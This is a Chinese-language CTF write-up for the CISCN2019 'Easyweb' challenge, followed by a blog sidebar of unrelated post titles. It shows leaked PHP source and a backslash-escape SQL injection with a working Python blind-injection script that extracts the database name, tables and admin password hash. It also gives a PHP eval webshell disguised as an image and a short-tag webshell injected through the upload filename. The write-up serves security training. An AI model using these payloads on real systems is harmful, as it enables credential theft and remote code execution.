当前位置:网站首页>[CISCN2019 总决赛 Day2 Web1]Easyweb
[CISCN2019 总决赛 Day2 Web1]Easyweb
2022-07-26 22:39:00 【茶经新读.】
[CISCN2019 总决赛 Day2 Web1]Easyweb

随意的输入账号密码发现除了图片发生变化意外其他的也没啥变化,也没有登录上去,f12查看源码,发现了image.php

如果直接查看image.php的话,只是把图片放大了而已,dirsearch扫描一下发现了robots.txt

查看发现了.php.bak备份文件

联想到image.php,于是就查看(/image.php.bak),结果下载源码得到
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);其中有一个addslashes函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
例如:
在每个双引号(")前添加反斜杠:
<?php $str = addslashes('Shanghai is the "biggest" city in China.'); echo($str); ?> 运行实例: Shanghai is the \"biggest\" city in China.
注意php代码中给的:select * from images where id='{$id}' or path='{$path}',以及str_replace函数,我们只能用转义字符\或单引号自己破坏,但是用单引号的话会被替换掉,所以只能用\,str_replace第一个参数是\\0,如果我们传入\0,首先他会经过addslashes函数变成了\\0,这个时候在经过str_replace函数变成了\。构造payload:
image.php?id=\0&path=%20or%20ascii(substr((select(database())),1,1))>1%23
然后就是脚本小子火速出击,网上搜索脚本:
import requests
import time
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 30
for l in range(1,length+1):
begin = 32
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
if r.content!=b'':
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
if tmp == 32:
break
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))爆出来:数据库名为: ciscnfinal 表名为: images,users 列名为: username,password 用户名为: admin 密码为: 5a8fdc3b65d3f811e452
然后账号密码直接登录即可,登陆成功后有一个上传文件的按钮

应该是文件上传漏洞,因为源码中说了上传image/jpeg,随意选择一张图片上传,发现可以上传,并且上传成功,于是写了一个txt内容是:
GIF89a
<script language="php">
eval($_POST['hack']);
</script>改后缀为png后上传,上传成功,并且给了路径
![]()
蚁剑连接,但是加载不进去,说明这里错了,bp抓包发现了filename

由于用户名只能是admin无法利用,所以考虑文件名注入,可以使用短标签绕过:
<[email protected]($_POST['hack']);?>,发包即可回显路径


蚁剑连接url:http://xxxxx.buuoj.cn:81/logs/upload.76310c6b13ee5020f251ac849a1686ee.log.php
根目录下就是flag

边栏推荐
- JSCORE day_01(6.30) RegExp 、 Function
- js中this指向详解
- Parallel MPI program delivery send message
- Ubantu installing Oracle JDK
- 【2. Tmux 操作】
- DOM day_ 04 (7.12) BOM, open new page (delayed opening), address bar operation, browser information reading, historical operation
- 关于Thymeleaf的表达式
- MySQL common functions (summary)
- 【Codeforces Round #808 (Div 2.) A·B·C】
- 【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
猜你喜欢

2022-07-17:1, 2, 3... N-1, N, n+1, n+2... In this sequence, only one number has repetition (n). This sequence is unordered. Find the repeated number n. This sequence is ordered. Find the repeated numb

2020-12-20 99 multiplication table

C language to find prime numbers, leap years and minimum common multiples and maximum common divisors
![[watevrCTF-2019]Cookie Store](/img/24/8baaa1ac9daa62c641472d5efac895.png)
[watevrCTF-2019]Cookie Store

JSCORE day_03(7.4)

【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】

Use of postman

CDs simulation of minimum dominating set based on MATLAB

Inherit, inherit, inherit

9_ Logistic regression
随机推荐
Promise基本用法 20211130
C language to find prime numbers, leap years and minimum common multiples and maximum common divisors
[4.1 prime number and linear sieve]
Viterbi Viterbi decoding bit error rate simulation, modulation is QPSK, channel is Gaussian white noise
3_ Jupiter notebook, numpy and mattlotlib
Visual studio C cs0006 C failed to find metadata file
2020-12-20 99 multiplication table
[4.7 Gauss elimination details]
[4.3 detailed explanation of Euler function]
[3. VIM operation]
[RootersCTF2019]I_<3_Flask
[Qt]元对象系统
[HITCON 2017]SSRFme
[PCB open source sharing] stc32g12k128/stc8h8k64u development board
Point to plane projection
【4.4 快速幂详解及快速幂求逆元】
postman的使用
[NPUCTF2020]ezinclude
6_梯度下降法(Gradient Descent)
c语言 比大小的多种描述,不要只拘泥于一种写法